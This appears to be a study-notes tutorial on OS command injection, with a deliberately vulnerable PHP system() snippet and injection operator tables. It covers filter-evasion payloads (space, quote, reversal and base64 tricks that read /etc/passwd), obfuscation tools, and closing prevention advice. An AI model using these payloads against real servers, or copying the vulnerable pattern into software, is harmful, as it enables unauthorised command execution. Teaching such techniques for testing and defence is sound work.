Introduction

Command Injection is one of the most critical web vulnerabilities because it lets an attacker execute OS commands on the backend host. The impact can be full system compromise and lateral movement if the server has network access. The vulnerability appears when user input is passed into a system command without strict validation and sanitization.

This issue is not limited to web apps, but web apps are the most common surface because they regularly call system utilities. If a parameter such as an IP address is used inside a command, a small injection operator can turn it into a full shell. Because the execution happens server-side, any output you can observe is valuable evidence.

Injection Landscape and OS Command Injection

Applications can suffer from many injection types, and OS command injection is only one of them. The common categories include command injection, code injection, SQL injection, and XSS or HTML injection. Each type is triggered by user-controlled input that reaches an execution sink.

Injection TypeDescription
OS command injectionUser input becomes part of a system command.
Code injectionUser input is evaluated as code.
SQL injectionUser input becomes part of a SQL query.
XSS or HTML injectionUser input is rendered directly into a web page.

In OS command injection, the input affects a system-level function such as exec, system, shell_exec, passthru, or popen. The example below shows a PHP pattern that is vulnerable because the user controls a filename used in a system call. The same pattern appears in other languages that call OS commands.

<?php
if (isset($_GET['filename'])) {
    system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>

Exploitation and Detection Flow

Detection and exploitation are the same for basic command injection: append an operator and a second command, then observe output changes. If the response shows new output or behavior, the injection is confirmed. Short commands like whoami or id are useful for initial validation.

A typical example is a ping form that accepts an IP. If you can add ; whoami after the IP and the output changes, the command is executed on the server. You can also use && or a newline operator to chain commands.

ping -c 1 127.0.0.1; whoami
ping -c 1 127.0.0.1 && id

Injection Operators and URL Encoding

Injection operators are the connectors that let you attach a second command. Some operators always run both commands, while others only run the second command on success or failure. In web apps, URL encoding is often required to pass special characters through filters.

Operator TypeInjection CharacterURL EncodedExecution Behavior
Semicolon;%3bRuns both commands.
Newline\n%0aRuns both commands.
Background&%26Runs both, second output often appears first.
Pipe``%7c
AND&&%26%26Runs second only if first succeeds.
OR``
Sub-shell (Linux)`, $()%60, %24%28%29Runs both in a sub-shell.

You can also use a quick operator list by injection type to choose valid separators. Command injection typically works with ;, &, or |, while other injections use different tokens. This helps avoid wasting time on operators that are irrelevant to the sink.

Injection TypeCommon Operators
SQL injection', ;, --, /* */
Command injection;, &&, `
LDAP injection*, (, ), &, `
XPath injection', or, and, substring, concat, count
OS command injection;, &, `
Code injection', ;, --, $(), ${}, #{}, %{}, ^
Directory traversal../, ..\, %00
Header injection\n, \r\n, %0d, %0a, %09

Frontend Validation Bypass

If a page blocks your payload before it reaches the server, the validation is likely client-side. You can confirm this by checking the Network tab and seeing whether a request is sent. If no request appears, the filter is in the frontend.

Burp Suite and ZAP let you intercept, modify, and URL-encode the payload before sending it to the backend. Capture a normal request, send it to Repeater, and replace the parameter value with your encoded payload. Use URL encoding for special characters to avoid transport issues.


Filter Evasion Techniques

Filter evasion is required when the backend uses blacklists for characters or commands. The simplest way to identify a blacklist is to reduce your payload one character at a time and observe where it fails. If 127.0.0.1 works but 127.0.0.1; fails, the semicolon is blocked.

Space Bypass

Spaces are often blocked, especially when the input is supposed to be an IP or hostname. You can replace spaces with tab characters (%09), use the Linux ${IFS} variable, or rely on brace expansion. These options let you separate arguments without literal spaces. They are simple and effective for many filters.

127.0.0.1%0a%09whoami
127.0.0.1%0a${IFS}whoami
127.0.0.1%0a{ls,-la}

Bypassing Other Characters

If / or ; is blocked, you can construct the character from environment variables. On Linux, you can extract a / from $PATH and a ; from $LS_COLORS. The same concept works on Windows with %HOMEPATH% or PowerShell environment variables.

echo ${PATH:0:1}
echo ${LS_COLORS:10:1}
C:\htb> echo %HOMEPATH:~6,-11%
PS C:\htb> $env:HOMEPATH[0]

Another option is shifting characters using tr and ASCII ranges. You can derive a blocked character by shifting the previous ASCII value. This technique is useful when standard variables are unavailable.

man ascii
 echo $(tr '!-}' '"-~'<<<[)

Bypassing Blacklisted Commands

If a command like whoami is blocked, you can insert characters that the shell ignores. Quotes are a classic example and work on both Linux and Windows. Keep the number of quotes even and do not mix quote types.

w'h'o'am'i
w"h"o"am"i

Linux also ignores backslashes and $@ in many cases, which lets you split a word without changing execution. Windows allows a caret (^) as a harmless insert character.

who$@ami
w\ho\am\i
C:\htb> who^ami

Advanced Obfuscation and Encoded Payloads

When basic evasion fails, advanced obfuscation can bypass stricter filters. Case manipulation, reverse execution, and encoded payloads are reliable if the shell supports them. These methods are heavier but still practical for short commands.

Case Manipulation

Windows shells are case-insensitive, so you can change the case to evade exact string matches. Linux shells are case-sensitive, so you need to transform the case back at runtime. A common method is to use tr to lowercase the command. Another option is a Bash parameter expansion that lowercases a variable.

PS C:\htb> WhOaMi
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$(a="WhOaMi";printf %s "${a,,}")

Reversed Commands

Reversing a command and flipping it at runtime can bypass string filters. On Linux, use rev to reverse a string and then execute it in a sub-shell. On Windows, use PowerShell to reverse and execute with iex.

echo 'whoami' | rev
$(rev<<<'imaohw')
PS C:\htb> "whoami"[-1..-20] -join ''
PS C:\htb> iex "$('imaohw'[-1..-20] -join '')"

Encoded Commands

Encoding is useful when special characters are blocked or when the server normalizes input. Base64 is the most common choice because it is easy to decode in both Linux and Windows. Encode the command, decode it in a sub-shell, and pipe it to a shell.

echo -n 'cat /etc/passwd | grep 33' | base64
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
PS C:\htb> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
PS C:\htb> iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"

Evasion Tools

When manual obfuscation is not enough, automation tools can generate obfuscated payloads. Bashfuscator is a Linux tool that can produce long or short obfuscated commands. Invoke-DOSfuscation provides a similar workflow for Windows and can generate complex obfuscated CMD syntax.

Linux Bashfuscator

Bashfuscator can generate an obfuscated command with a single option or with specific parameters to keep it short. The output can be very long, so use the short mode if you plan to paste into a web field.

git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
pip3 install setuptools==65
python3 setup.py install --user
cd ./bashfuscator/bin/
./bashfuscator -h
./bashfuscator -c 'cat /etc/passwd'
./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

Windows DOSfuscation

Invoke-DOSfuscation is an interactive PowerShell tool for CMD obfuscation. You load the module, set a command, and choose an encoding option. The tool returns an obfuscated string that still executes correctly in CMD. This is useful when a filter blocks direct command keywords.

PS C:\htb> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\htb> cd Invoke-DOSfuscation
PS C:\htb> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\htb> Invoke-DOSfuscation
Invoke-DOSfuscation> help
Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1
C:\htb> typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt

Prevention and Hardening

The safest mitigation is to avoid OS command execution entirely and use built-in library functions instead. If a system command is unavoidable, never concatenate raw user input into the command. Validate and sanitize input strictly before it reaches the execution function.

Input Validation

Validation should confirm that input matches the expected format before any processing. PHP includes filter_var for common formats such as IP addresses, URLs, and emails. For custom formats, use a strict regex on the backend.

if (filter_var($_GET['ip'], FILTER_VALIDATE_IP)) {
    // call function
} else {
    // deny request
}
if(/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(ip)){
    // call function
} else {
    // deny request
}

Input Sanitization and Output Control

Sanitization removes unsafe characters even after validation. In PHP, preg_replace can enforce a strict allowlist, and in JavaScript you can use replace with a global regex. For NodeJS, DOMPurify can sanitize content before use.

$ip = preg_replace('/[^A-Za-z0-9.]/', '', $_GET['ip']);
var ip = ip.replace(/[^A-Za-z0-9.]/g, '');
import DOMPurify from 'dompurify';
var ip = DOMPurify.sanitize(ip);

Server Configuration

Server hardening reduces impact if an injection still happens. Use a WAF, run the web server as a low-privilege user, and disable dangerous functions where possible. Limit filesystem access with open_basedir, and reject double-encoded or non-ASCII inputs.


Reference

This article is based on my personal study notes from the Information Security Foundations track.

Full repository: https://github.com/lameiro0x/pentesting-path-htb